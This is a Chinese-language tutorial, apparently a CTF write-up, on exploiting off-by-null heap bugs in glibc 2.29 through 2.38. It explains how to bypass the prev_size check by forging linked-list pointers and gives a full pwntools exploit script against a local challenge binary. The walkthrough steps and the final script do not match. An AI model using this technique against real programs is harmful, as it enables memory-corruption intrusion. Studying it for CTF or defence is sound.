off by null高版本利用方式
字数 1284 2025-08-23 18:31:18
Off by Null高版本利用方式详解
背景介绍
自glibc-2.29起加入了prev_size的严格检查,传统的off by null利用方式已经失效。本文将详细介绍在高版本glibc(如2.38)下如何利用off by null漏洞实现堆块重叠。
基本原理
高版本保护机制
在glibc-2.29及以上版本中,堆块合并时增加了prev_size检查:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size while consolidating");
unlink_chunk(av, p);
}
这段代码在堆块向前合并时,会检查prev_size和实际前一个堆块的size是否一致。
绕过条件
要成功利用off by null,需要满足以下条件:
prev_size和按照prev_size找到的chunk的size必须相等fd->bk == bk->fd == p(双向链表完整性检查)p->fd_nextsize == NULL(绕过对fd_nextsize和bk_nextsize的双向链表检查)
利用思路
核心目标
在不泄露堆地址的情况下构造满足fd->bk == bk->fd == p的fake chunk。
具体步骤
- 堆布局准备:申请多个不同大小的堆块,为后续操作做准备
- 构造unsorted bin链:通过释放特定堆块形成unsorted bin链
- 伪造size字段:利用堆溢出修改关键size字段
- 双向链表伪造:
- 利用unsorted bin伪造chunk的bk指针
- 借助large bin和部分覆盖伪造chunk的fd指针
- 触发合并:通过off by null修改size末字节触发合并
- 堆块重叠:最终实现堆块重叠,获得任意读写能力
详细利用过程
1. 初始堆布局
首先申请以下堆块:
add(0, 0x18) # 用于对齐,使后续堆块地址高位相同
add(1, 0x418) # 主操作堆块
add(2, 0x108) # 隔离堆块
add(3, 0x418) # 用于伪造的堆块
add(4, 0x438) # 大堆块
add(5, 0x108) # 隔离堆块
add(6, 0x428) # 用于伪造的堆块
add(7, 0x108) # 用于触发off by null的堆块
2. 构造unsorted bin链
free(1) # 放入unsorted bin
free(4) # 放入unsorted bin,bk指向1
free(6) # 放入unsorted bin,bk指向4
此时unsorted bin链为:1 → 4 → 6
3. 伪造size字段
add(1, 0x438) # 从unsorted bin中切割出0x438的块
edit(1, b'a'*0x418 + p64(0xA91)) # 溢出修改下一个堆块的size为0xA91
0xA91的计算:
- 0x20 (chunk0)
- 0x420 (chunk1)
- 0x110 (chunk2)
- 0x430 (chunk4)
- 0x110 (chunk5)
4. 伪造双向链表
第一步:伪造fd->bk
add(3, 0x418) # 取回chunk3
edit(3, b'b'*8 + p8(0)) # 修改bk指针的低字节
第二步:伪造bk->fd
free(6) # 重新放入unsorted bin
free(3) # 放入unsorted bin
add(6, 0x428) # 取回chunk6
edit(6, p8(0)) # 修改fd指针的低字节
5. 触发off by null
add(8, 0x418) # 准备合并
add(9, 0x38) # 防止与top chunk合并
edit(7, b'a'*0x100 + p64(0xa90) + p8(0)) # off by null修改size末字节
6. 触发合并
free(4) # 触发unlink,实现堆块重叠
关键点解析
- 地址对齐:通过添加0x18的小堆块,确保后续堆块地址高位相同,使部分覆盖有效
- size伪造:精心计算伪造的size值(0xA91)以覆盖多个堆块
- 双向链表构造:
- 利用unsorted bin的FIFO特性构造bk指针
- 利用large bin和部分覆盖构造fd指针
- off by null触发:通过修改size末字节为0,触发向前合并
完整利用代码
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process(["./ld-linux-x86-64.so.2", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"})
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
# 初始堆布局
add(0, 0x18)
add(1, 0x418)
add(2, 0x108)
add(3, 0x418)
add(4, 0x438)
add(5, 0x108)
add(6, 0x428)
add(7, 0x108)
# 构造unsorted bin链
free(1)
free(4)
free(6)
free(3)
# 伪造size字段
add(1, 0x438)
edit(1, b"a"*0x418 + p64(0xA91))
# 伪造fd->bk
add(3, 0x418)
add(4, 0x428)
add(6, 0x418)
free(6)
free(3)
add(3, 0x418)
edit(3, b'b'*8 + p8(0))
# 伪造bk->fd
add(6, 0x418)
free(4)
free(6)
add(4, 0x9f8)
add(6, 0x428)
edit(6, p8(0))
# 触发off by null
add(8, 0x418)
add(9, 0x38)
edit(7, b'a'*0x100 + p64(0xa90) + p8(0))
# 触发合并
free(4)
io.interactive()
总结
这种利用方式的关键在于:
- 精心设计堆布局,确保地址对齐
- 利用unsorted bin和large bin的特性伪造双向链表
- 精确计算伪造的size值
- 通过部分覆盖指针实现双向链表检查的绕过
虽然高版本的防护机制增加了利用难度,但通过巧妙的堆布局和bin链操作,仍然可以实现off by null的利用。这种技术适用于glibc 2.29及以上版本,包括最新的2.38版本。